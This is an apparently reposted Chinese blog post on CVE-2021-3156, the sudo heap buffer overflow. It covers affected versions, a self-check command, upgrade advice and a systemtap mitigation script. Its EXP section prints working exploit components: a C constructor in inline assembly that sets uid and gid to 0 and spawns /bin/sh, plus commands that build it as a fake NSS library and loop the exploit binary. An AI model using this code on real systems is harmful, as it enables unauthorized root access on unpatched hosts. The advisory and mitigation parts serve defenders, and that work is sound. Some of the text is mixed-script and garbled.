CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)
漏洞詳情
CVE-2021-3156: 緩沖區(qū)溢出漏洞
在sudo解析命令行參數(shù)的方式中發(fā)現(xiàn)了基于堆的緩沖區(qū)溢出。任何本地用戶(普通用戶和系統(tǒng)用戶,sudoer和非sudoers)都可以利用此漏洞,而無需進(jìn)行身份驗(yàn)證,攻擊者不需要知道用戶的密碼。成功利用此漏洞可以獲得root權(quán)限。
POC
用戶可以使用如下方法進(jìn)行自查:
以非root用戶登錄系統(tǒng),并使用命令sudoedit -s /
- 如果響應(yīng)一個(gè)以sudoedit:開頭的報(bào)錯(cuò),那么表明存在漏洞。
- 如果響應(yīng)一個(gè)以usage:開頭的報(bào)錯(cuò),那么表明補(bǔ)丁已經(jīng)生效。
影響版本
-?sudo:sudo: 1.8.2 - 1.8.31p2
-?sudo:sudo: 1.9.0 - 1.9.5p1
修復(fù)建議
通用修補(bǔ)建議
下載升級sudo軟件包,下載鏈接為:
sudo軟件包下載地址
https://www.sudo.ws/dist/
臨時(shí)修補(bǔ)建議
對于無法立即更新的用戶,建議使用systemtap進(jìn)行以下臨時(shí)緩解:
1. 安裝所需的systemtap軟件包和依賴項(xiàng):
systemtap yum-utils kernel-devel-"$(uname -r)"對于RHEL 7,使用命令安裝 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。對于RHEL 8,使用命令安裝 sudo debuginfo:debuginfo-install sudo。
2. 創(chuàng)建以下systemtap腳本(將文件命名為sudoedit-block.stap):
probe process("/usr/bin/sudo").function("main") {command = cmdline_args(0,0,"");if (strpos(command, "edit") >= 0) {raise(9);} }3. 使用以下命令安裝腳本:(使用root權(quán)限)
# nohup stap -g sudoedit-block.stap &該腳本將使得易受攻擊的sudoedit二進(jìn)制文件停止工作。sudo命令仍將照常工作。上述更改在重啟后失效,必須在每次重啟后重新應(yīng)用。
4. 一旦安裝了補(bǔ)丁程序,就可以通過取消systemtap進(jìn)程來刪除systemtap腳本。例如,通過使用:
# kill -s SIGTERM 7590 (其中7590是systemtap進(jìn)程的PID)EXP
CVE-2021-3156- Heap-Based Buffer Overflow in Sudo
la.c
static void __attribute__((constructor)) _init(void) {__asm __volatile__("addq $64, %rsp;"// setuid(0);"movq $105, %rax;""movq $0, %rdi;""syscall;"// setgid(0);"movq $106, %rax;""movq $0, %rdi;""syscall;"// dup2(0, 1);"movq $33, %rax;""movq $0, %rdi;""movq $1, %rsi;""syscall;"// dup2(0, 2);"movq $33, %rax;""movq $0, %rdi;""movq $2, %rsi;""syscall;"// execve("/bin/sh");"movq $59, %rax;""movq $0x0068732f6e69622f, %rdi;""pushq %rdi;""movq %rsp, %rdi;""movq $0, %rdx;""pushq %rdx;""pushq %rdi;""movq %rsp, %rsi;""syscall;"// exit(0);"movq $60, %rax;""movq $0, %rdi;""syscall;"); }shell?
cd /tmp mkdir libnss_X gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c for i in {1..128000}; do echo -n "try number $i "; ./exploit; donehttps://github.com/r4j0x00/exploits
?
?
總結(jié)
以上是生活随笔為你收集整理的CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SharePoint Set-SPUse
- 下一篇: 程序组件通信方案集锦